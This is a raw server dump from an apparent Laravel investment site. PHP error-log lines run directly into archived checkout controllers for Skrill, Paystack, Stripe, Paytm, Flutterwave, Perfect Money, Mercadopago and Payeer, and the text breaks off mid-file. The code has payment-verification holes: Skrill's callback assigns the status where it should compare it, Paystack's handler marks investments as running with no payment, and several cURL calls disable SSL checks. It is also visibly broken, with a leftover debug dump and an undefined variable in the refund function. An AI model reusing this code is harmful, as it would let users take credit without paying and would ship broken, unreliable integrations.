/home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaytmController.php on line 15 [25-Nov-2025 03:04:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PayeerController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PayeerController.php on line 13 [25-Nov-2025 03:04:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PaypalController.php on line 17 [25-Nov-2025 03:26:55 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/CoinPaymentController.php on line 17 [25-Nov-2025 03:28:13 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/RazorpayController.php on line 17 [25-Nov-2025 03:29:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/InstamojoController.php on line 15 [25-Nov-2025 04:33:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MollieController.php on line 13 [25-Nov-2025 05:26:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [25-Nov-2025 05:26:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/FlutterwaveController.php on line 14 [25-Nov-2025 05:27:55 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/StripeController.php on line 21 [25-Nov-2025 05:29:19 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/PerfectMoneyController.php on line 15 [25-Nov-2025 05:32:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Checkout/MercadopagoController.php on line 20 Controllers/Checkout/SkrillController.php 0000644 00000005055 15111246742 0014644 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Str; class SkrillController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('skrill')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $invest_name = $gs->title." Invest"; $invest_number = Str::random(4).time(); $addionalData = ['item_number'=>$invest_number]; $this->orderRepositorty->order($request,'pending',$addionalData); $currency = Currency::whereId($request->currency_id)->first(); $amount = $request->amount/$currency->value; $info['pay_to_email'] = trim($this->paydata['email']); $info['transaction_id'] = $invest_number; $info['status_url'] = route('checkout.skrill.notify'); $info['language'] = 'EN'; $info['amount'] = round($amount,2); $info['currency'] = $request->currency_code; $info['detail1_description'] = $gs->title; $info['detail1_text'] = "Pay To ".$gs->title; $data['info'] = $info; $data['method'] = "POST"; $data['url'] = "https://pay.skrill.com"; return view('payment.redirect',compact('data')); } public function notify(Request $request){ $invest = Invest::where('transaction_no', $request->transaction_id)->first(); $concatFields = $request->merchant_id . $request->transaction_id . strtoupper(md5(trim($this->paydata['secret']))) . $request->mb_amount . $request->mb_currency . $request->status; if (strtoupper(md5($concatFields)) == $request->md5sig && $request->pay_to_email == trim($this->paydata['email']) && $invest->status = '0') { $this->orderRepositorty->callAfterOrder($request,$invest); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); }else{ return redirect()->route('user.invest.plans')->with('unsuccess','Something went wrong!'); } } } Controllers/Checkout/PaystackController.php 0000644 00000002074 15111246742 0015161 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Str; class PaystackController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ if($request->currency_code != "NGN") { return redirect()->back()->with('unsuccess','Please Select NGN Currency For Paystack.'); } $gs = Generalsetting::findOrFail(1); $item_name = $gs->title." Invest"; $item_number = Str::random(4).time(); $item_amount = $request->amount; $addionalData = ['item_number'=>$item_number]; $this->orderRepositorty->order($request,'running',$addionalData); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } } Controllers/Checkout/StripeController.php 0000644 00000006273 15111246742 0014655 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use Cartalyst\Stripe\Laravel\Facades\Stripe; use App\Repositories\OrderRepository; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\PaymentGateway; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Models\Transaction; use App\Models\Referral; use App\Models\User; use Carbon\Carbon; use Validator; use Config; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; class StripeController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $data = PaymentGateway::whereKeyword('Stripe')->first(); $paydata = $data->convertAutoData(); \Stripe\Stripe::setApiKey($paydata['secret']); $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $item_name = $gs->title." Invest"; $item_amount = $request->amount; $support = ['USD']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Currency For Stripe.'); } Session::put('request',$request->all()); $session = \Stripe\Checkout\Session::create([ "line_items" => [ [ "quantity" => 1, "price_data" => [ "currency" => $request->currency_code, "unit_amount" =>$item_amount*100, "product_data" => [ "name" => $gs->title . 'Invest' ] ] ] ], 'mode' => 'payment', "locale" => "auto", 'success_url' => route('checkout.success', [], true) . "?session_id={CHECKOUT_SESSION_ID}", 'cancel_url' => route('checkout.paypal.cancel', [], true), ]); return redirect($session->url); } public function success(Request $request) { $user= Auth::user(); $gs= Generalsetting::first(); $sessionId = $request->get('session_id'); try{ $session = \Stripe\Checkout\Session::retrieve($sessionId); if (!$session) { throw new NotFoundHttpException; } $item_number = Str::random(4).time(); $request = Session::get('request'); if ($session->payment_status == 'paid' && $session->status=='complete') { $addionalData = ['item_number'=>$item_number,'txnid'=>$session->payment_intent,'charge_id'=> $sessionId ]; $this->orderRepositorty->order($request,'running',$addionalData); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } }catch (Exception $e){ return back()->with('unsuccess', $e->getMessage()); } } } Controllers/Checkout/PaytmController.php 0000644 00000032415 15111246742 0014476 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Repositories\OrderRepository; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use Illuminate\Support\Str; use Illuminate\Http\Request; use Illuminate\Support\Facades\Session; class PaytmController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ if($request->currency_code != "INR") { return redirect()->back()->with('unsuccess','Please Select INR Currency For Paytm.'); } $settings = Generalsetting::findOrFail(1); $order = new Invest(); $item_name = $settings->title." Invest"; $item_number = Str::random(12); $item_amount = $request->amount; $currency = Currency::whereId($request->currency_id)->first(); $amountToAdd = $request->amount/$currency->value; $addionalData = ['item_number'=>$item_number]; $this->orderRepositorty->order($request,'pending',$addionalData); Session::put('order_number',$item_number); $data_for_request = $this->handlePaytmRequest( $item_number, $item_amount ); $paytm_txn_url = 'https://securegw-stage.paytm.in/theia/processTransaction'; $paramList = $data_for_request['paramList']; $checkSum = $data_for_request['checkSum']; return view( 'frontend.paytm-merchant-form', compact( 'paytm_txn_url', 'paramList', 'checkSum' ) ); } public function handlePaytmRequest( $transaction_id, $amount) { $gs = Generalsetting::first(); $data = PaymentGateway::whereKeyword('Paytm')->first(); $paydata = $data->convertAutoData(); $this->getAllEncdecFunc(); $checkSum = ""; $paramList = array(); $paramList["MID"] = $paydata['merchant']; $paramList["ORDER_ID"] = $transaction_id; $paramList["CUST_ID"] = $transaction_id; $paramList["INDUSTRY_TYPE_ID"] = $paydata['industry']; $paramList["CHANNEL_ID"] = 'WEB'; $paramList["TXN_AMOUNT"] = $amount; $paramList["WEBSITE"] = $paydata['website']; $paramList["CALLBACK_URL"] = route('checkout.paytm.notify'); $paytm_merchant_key = $paydata['secret']; $checkSum = getChecksumFromArray( $paramList, $paytm_merchant_key ); return array( 'checkSum' => $checkSum, 'paramList' => $paramList ); } function getAllEncdecFunc() { function encrypt_e($input, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_encrypt ( $input , "AES-128-CBC" , $key, 0, $iv ); return $data; } function decrypt_e($crypt, $ky) { $key = html_entity_decode($ky); $iv = "@@@@&&&&####$$$$"; $data = openssl_decrypt ( $crypt , "AES-128-CBC" , $key, 0, $iv ); return $data; } function pkcs5_pad_e($text, $blocksize) { $pad = $blocksize - (strlen($text) % $blocksize); return $text . str_repeat(chr($pad), $pad); } function pkcs5_unpad_e($text) { $pad = ord($text(strlen($text) - 1)); if ($pad > strlen($text)) return false; return substr($text, 0, -1 * $pad); } function generateSalt_e($length) { $random = ""; srand((double) microtime() * 1000000); $data = "AbcDE123IJKLMN67QRSTUVWXYZ"; $data .= "aBCdefghijklmn123opq45rs67tuv89wxyz"; $data .= "0FGH45OP89"; for ($i = 0; $i < $length; $i++) { $random .= substr($data, (rand() % (strlen($data))), 1); } return $random; } function checkString_e($value) { if ($value == 'null') $value = ''; return $value; } function getChecksumFromArray($arrayList, $key, $sort=1) { if ($sort != 0) { ksort($arrayList); } $str = getArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getChecksumFromString($str, $key) { $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function verifychecksum_e($arrayList, $key, $checksumvalue) { $arrayList = removeCheckSumParam($arrayList); ksort($arrayList); $str = getArray2StrForVerify($arrayList); $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function verifychecksum_eFromStr($str, $key, $checksumvalue) { $paytm_hash = decrypt_e($checksumvalue, $key); $salt = substr($paytm_hash, -4); $finalString = $str . "|" . $salt; $website_hash = hash("sha256", $finalString); $website_hash .= $salt; $validFlag = "FALSE"; if ($website_hash == $paytm_hash) { $validFlag = "TRUE"; } else { $validFlag = "FALSE"; } return $validFlag; } function getArray2Str($arrayList) { $findme = 'REFUND'; $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pos = strpos($value, $findme); $pospipe = strpos($value, $findmepipe); if ($pos !== false || $pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function getArray2StrForVerify($arrayList) { $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function redirect2PG($paramList, $key) { $hashString = getchecksumFromArray($paramList, $key); $checksum = encrypt_e($hashString, $key); } function removeCheckSumParam($arrayList) { if (isset($arrayList["CHECKSUMHASH"])) { unset($arrayList["CHECKSUMHASH"]); } return $arrayList; } function getTxnStatus($requestParamList) { return callAPI(PAYTM_STATUS_QUERY_URL, $requestParamList); } function getTxnStatusNew($requestParamList) { return callNewAPI(PAYTM_STATUS_QUERY_NEW_URL, $requestParamList); } function initiateTxnRefund($requestParamList) { $CHECKSUM = getRefundChecksumFromArray($requestParamList,PAYTM_MERCHANT_KEY,0); $requestParamList["CHECKSUM"] = $CHECKSUM; return callAPI(PAYTM_REFUND_URL, $requestParamList); } function callAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData)) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } function callNewAPI($apiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: ' . strlen($postData)) ); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } function getRefundChecksumFromArray($arrayList, $key, $sort=1) { if ($sort != 0) { ksort($arrayList); } $str = getRefundArray2Str($arrayList); $salt = generateSalt_e(4); $finalString = $str . "|" . $salt; $hash = hash("sha256", $finalString); $hashString = $hash . $salt; $checksum = encrypt_e($hashString, $key); return $checksum; } function getRefundArray2Str($arrayList) { $findmepipe = '|'; $paramStr = ""; $flag = 1; foreach ($arrayList as $key => $value) { $pospipe = strpos($value, $findmepipe); if ($pospipe !== false) { continue; } if ($flag) { $paramStr .= checkString_e($value); $flag = 0; } else { $paramStr .= "|" . checkString_e($value); } } return $paramStr; } function callRefundAPI($refundApiURL, $requestParamList) { $jsonResponse = ""; $responseParamList = array(); $JsonData =json_encode($requestParamList); $postData = 'JsonData='.urlencode($JsonData); $ch = curl_init($apiURL); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_URL, $refundApiURL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $headers = array(); $headers[] = 'Content-Type: application/json'; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $jsonResponse = curl_exec($ch); $responseParamList = json_decode($jsonResponse,true); return $responseParamList; } } function getConfigPaytmSettings() { $gs = Generalsetting::first(); if ($gs->paytm_mode == 'sandbox') { define('PAYTM_ENVIRONMENT', 'TEST'); // PROD } elseif ($gs->paytm_mode == 'live') { define('PAYTM_ENVIRONMENT', 'PROD'); // PROD } define('PAYTM_MERCHANT_KEY', $gs->paytm_secret); define('PAYTM_MERCHANT_MID', $gs->paytm_merchant); define('PAYTM_MERCHANT_WEBSITE', $gs->paytm_website); $PAYTM_STATUS_QUERY_NEW_URL='https://securegw-stage.paytm.in/merchant-status/getTxnStatus'; $PAYTM_TXN_URL='https://securegw-stage.paytm.in/theia/processTransaction'; if (PAYTM_ENVIRONMENT == 'PROD') { $PAYTM_STATUS_QUERY_NEW_URL='https://securegw.paytm.in/merchant-status/getTxnStatus'; $PAYTM_TXN_URL='https://securegw.paytm.in/theia/processTransaction'; } define('PAYTM_REFUND_URL', ''); define('PAYTM_STATUS_QUERY_URL', $PAYTM_STATUS_QUERY_NEW_URL); define('PAYTM_STATUS_QUERY_NEW_URL', $PAYTM_STATUS_QUERY_NEW_URL); define('PAYTM_TXN_URL', $PAYTM_TXN_URL); } public function paytmCallback( Request $request ) { $order_number = Session::get('order_number'); $transaction_id = $request['ORDERID']; if ( 'TXN_SUCCESS' === $request['STATUS'] ) { $transaction_id = $request['TXNID']; $order = Invest::where('transaction_no',$order_number)->where('payment_status','pending')->first(); $data['txnid'] = $transaction_id; $data['payment_status'] = "completed"; $data['status'] = 1; $order->update($data); $this->orderRepositorty->callAfterOrder($request,$order); Session::forget('order_number'); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } else if( 'TXN_FAILURE' === $request['STATUS'] ){ return redirect()->route('user.invest.checkout')->with('warning','Payment Cancelled!'); } } } Controllers/Checkout/FlutterwaveController.php 0000644 00000010770 15111246742 0015714 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Repositories\OrderRepository; use Illuminate\Support\Facades\Session; class FlutterwaveController extends Controller { public $public_key; private $secret_key; public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $data = PaymentGateway::whereKeyword('flutterwave')->first(); $paydata = $data->convertAutoData(); $this->public_key = $paydata['public_key']; $this->secret_key = $paydata['secret_key']; $this->orderRepositorty = $orderRepositorty; } public function store(Request $request) { $item_number = Str::random(4).time(); $item_amount = $request->amount; $curl = curl_init(); $customer_email = auth()->user()->email; $amount = $item_amount; $currency = $request->currency_code; $txref = $item_number; $PBFPubKey = $this->public_key; $redirect_url = route('checkout.flutter.notify'); $payment_plan = ""; $addionalData = ['item_number'=>$item_number]; $this->orderRepositorty->order($request,'pending',$addionalData); session(['order_number'=>$item_number]); curl_setopt_array($curl, array( CURLOPT_URL => "https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/hosted/pay", CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode([ 'amount' => $amount, 'customer_email' => $customer_email, 'currency' => $currency, 'txref' => $txref, 'PBFPubKey' => $PBFPubKey, 'redirect_url' => $redirect_url, 'payment_plan' => $payment_plan ]), CURLOPT_HTTPHEADER => [ "content-type: application/json", "cache-control: no-cache" ], )); $response = curl_exec($curl); $err = curl_error($curl); if($err){ die('Curl returned error: ' . $err); } $transaction = json_decode($response); if(!$transaction->data && !$transaction->data->link){ print_r('API returned error: ' . $transaction->message); } return redirect($transaction->data->link); } public function notify(Request $request) { $input = $request->all(); $order_number = session('order_number'); dd($order_number); $order = Invest::where('transaction_no',$order_number)->where('payment_status','pending')->first(); if($request->cancelled == "true"){ return redirect()->route('user.dashboard')->with('success',__('Payment Cancelled!')); } if (isset($input['txref'])) { $ref = $input['txref']; $query = array( "SECKEY" => $this->secret_key, "txref" => $ref ); $data_string = json_encode($query); $ch = curl_init('https://api.ravepay.co/flwv3-pug/getpaidx/api/v2/verify'); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); $response = curl_exec($ch); curl_close($ch); $resp = json_decode($response, true); if ($resp['status'] == "success") { $paymentStatus = $resp['data']['status']; $chargeResponsecode = $resp['data']['chargecode']; if (($chargeResponsecode == "00" || $chargeResponsecode == "0") && ($paymentStatus == "successful")) { $order['payment_status'] = "completed"; $order->save(); $this->orderRepositorty->callAfterOrder($request,$order); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); } else { return back()->with('warning','Something went wrong!'); } } } else { return back()->with('warning','Something went wrong!'); } } } Controllers/Checkout/PerfectMoneyController.php 0000644 00000007254 15111246742 0016007 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Str; class PerfectMoneyController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('perfectmoney')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $invest_name = $gs->title." Invest"; $invest_number = Str::random(4).time(); $addionalData = ['item_number'=>$invest_number]; $this->orderRepositorty->order($request,'pending',$addionalData); $currency = Currency::whereId($request->currency_id)->first(); $amount = $request->amount/$currency->value; $info['PAYEE_ACCOUNT'] = trim($this->paydata['wallet_code']); $info['PAYEE_NAME'] = $invest_name; $info['PAYMENT_ID'] = $invest_number; $info['PAYMENT_AMOUNT'] = round($amount,2); $info['PAYMENT_UNITS'] = $request->currency_code; $info['STATUS_URL'] = route('checkout.perfectmoney.notify'); $info['PAYMENT_URL'] = route('user.invest.history'); $info['PAYMENT_URL_METHOD'] = 'POST'; $info['NOPAYMENT_URL'] = route('user.invest.plans'); $info['NOPAYMENT_URL_METHOD'] = 'POST'; $info['SUGGESTED_MEMO'] = auth()->user()->name; $info['BAGGAGE_FIELDS'] = 'IDENT'; $data['info'] = $info; $data['method'] = 'post'; $data['url'] = 'https://perfectmoney.is/api/step1.asp'; return view('payment.redirect',compact('data')); } public function notify(Request $request){ $invest = Invest::where('transaction_no', $_POST['PAYMENT_ID'])->first(); $alt_passphrase = strtoupper(md5($this->paydata['alternative_passphrase'])); define('ALTERNATE_PHRASE_HASH', $alt_passphrase); define('PATH_TO_LOG', '/somewhere/out/of/document_root/'); $string = $_POST['PAYMENT_ID'] . ':' . $_POST['PAYEE_ACCOUNT'] . ':' . $_POST['PAYMENT_AMOUNT'] . ':' . $_POST['PAYMENT_UNITS'] . ':' . $_POST['PAYMENT_BATCH_NUM'] . ':' . $_POST['PAYER_ACCOUNT'] . ':' . ALTERNATE_PHRASE_HASH . ':' . $_POST['TIMESTAMPGMT']; $hash = strtoupper(md5($string)); $hash2 = $_POST['V2_HASH']; if ($hash == $hash2) { foreach ($_POST as $key => $value) { $details[$key] = $value; } $pay_amount = $_POST['PAYMENT_AMOUNT']; $track = $_POST['PAYMENT_ID']; if ($_POST['PAYEE_ACCOUNT'] == $this->paydata['wallet_code'] && $pay_amount == round($invest->amount,2) && $invest->status == 0) { $invest->txnid = $details; $invest->payment_status = "completed"; $invest->status = 1; $invest->save(); $this->orderRepositorty->callAfterOrder($request,$invest); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); }else{ return redirect()->route('user.invest.plans')->with('unsuccess','Something went wrong!'); } }else{ return redirect()->route('user.invest.plans')->with('unsuccess','Something went wrong!'); } } } Controllers/Checkout/MercadopagoController.php 0000644 00000005717 15111246742 0015632 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Classes\GeniusMailer; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\Plan; use App\Models\User; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Str; use MercadoPago; use Auth; class MercadopagoController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $order = new Invest(); $plan = Plan::whereId($request->plan_id)->first(); $gs = Generalsetting::findOrFail(1); $item_name = $gs->title." Invest"; $item_number = Str::random(4).time(); $order['transaction_no'] = $item_number; $order['user_id'] = $request->user_id; $order['plan_id'] = $plan->id; $order['currency_id'] = $request->currency_id; $order['method'] = $request->method; if($request->currency_id){ $currencyValue = Currency::where('id',$request->currency_id)->first(); $order['amount'] = $request->amount/$currencyValue->value; $profitAmount = ($request->amount * $plan->profit_percentage)/100; $order['profit_amount'] = $profitAmount/$currencyValue->value; } if($plan->lifetime_return){ $order['lifetime_return'] = 1; } if($plan->captial_return){ $order['capital_back'] = 1; $order['profit_repeat'] = 0; } $order['payment_status'] = "pending"; $order['status'] = 0; $order['profit_time'] = Carbon::now()->addHours($plan->schedule_hour); $order->save(); $payment_amount = $order->amount; $data = PaymentGateway::whereKeyword('mercadopago')->first(); $paydata = $data->convertAutoData(); MercadoPago\SDK::setAccessToken($paydata['token']); $payment = new MercadoPago\Payment(); $payment->transaction_amount = $payment_amount; $payment->token = $request->token; $payment->description = 'Checkout '.$gs->title; $payment->installments = 1; $payment->payer = array( "email" => Auth::check() ? Auth::user()->email : 'example@gmail.com' ); $payment->save(); if ($payment->status == 'approved') { $order['payment_status'] = "completed"; $order['status'] = 1; $order->save(); $this->orderRepositorty->callAfterOrder($request,$order); return redirect()->route('user.invest.history')->with('message','Invest successfully complete.'); }else{ return redirect()->route('user.invest.history')->with('unsuccess','Something went wrong!'); } } } Controllers/Checkout/PayeerController.php 0000644 00000006656 15111246742 0014641 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\PaymentGateway; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Illuminate\Support\Str; class PayeerController extends Controller { public $orderRepositorty; public $allusers = []; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; $this->payment = PaymentGateway::whereKeyword('payeer')->first(); $this->paydata = $this->payment->convertAutoData(); } public function store(Request $request){ $gs = Generalsetting::findOrFail(1); $invest_name = $gs->title." Invest"; $invest_number = Str::random(4).time(); $addionalData = ['item_number'=>$invest_number]; $this->orderRepositorty->order($request,'pending',$addionalData); $currency = Currency::whereId($request->currency_id)->first(); $amount = round($request->amount/$currency->value,2); $arHash = [ trim($this->paydata['merchant_id']), $invest_number, $amount, $request->currency_code, base64_encode("Pay To $gs->title"), trim($this->paydata['secret_key']) ]; $info['m_shop'] = trim($this->paydata['merchant_id']); $info['m_orderid'] = $invest_number; $info['m_amount'] = $amount; $info['m_curr'] = $request->currency_code; $info['m_desc'] = base64_encode("Pay To $gs->title"); $info['m_sign'] = strtoupper(hash('sha256', implode(":", $arHash))); $info['lang'] = 'en'; $data['info'] = $info; $data['method'] = "GET"; $data['url'] = "https://payeer.com/merchant"; return view('payment.redirect',compact('data')); } public function notify(Request $request) { if (isset($request->m_operation_id) && isset($request->m_sign)) { $sign_hash = strtoupper(hash('sha256', implode(":", array( $request->m_operation_id, $request->m_operation_ps, $request->m_operation_date, $request->m_operation_pay_date, $request->m_shop, $request->m_orderid, $request->m_amount, $request->m_curr, $request->m_desc, $request->m_status, $this->paydata['secret_key'] )))); if ($request->m_sign != $sign_hash) { return redirect()->route('user.invest.plans')->with('unsuccess','digital signature not matched!'); } else { $invest = Invest::where('transaction_no', $request->m_orderid)->first(); if ($request->m_amount == round($invest->amount,2) && $request->m_status == 'success' && $invest->status == 0) { $invest->payment_status = "completed"; $invest->status = 1; $invest->save(); $this->orderRepositorty->callAfterOrder($request,$invest); } else { return redirect()->route('user.invest.plans')->with('unsuccess','transaction was unsuccessful!'); } } } else { return redirect()->route('user.invest.plans')->with('unsuccess','transaction was unsuccessful!'); } } } Controllers/Checkout/InstamojoController.php 0000644 00000006312 15111246742 0015344 0 ustar 00 <?php namespace App\Http\Controllers\Checkout; use Illuminate\Support\Facades\Session; use App\Repositories\OrderRepository; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\PaymentGateway; use Illuminate\Http\Request; use Illuminate\Support\Str; use App\Classes\Instamojo; use App\Models\Currency; class InstamojoController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request) { $input = $request->all(); $data = PaymentGateway::whereKeyword('instamojo')->first(); $gs = Generalsetting::first(); $total = 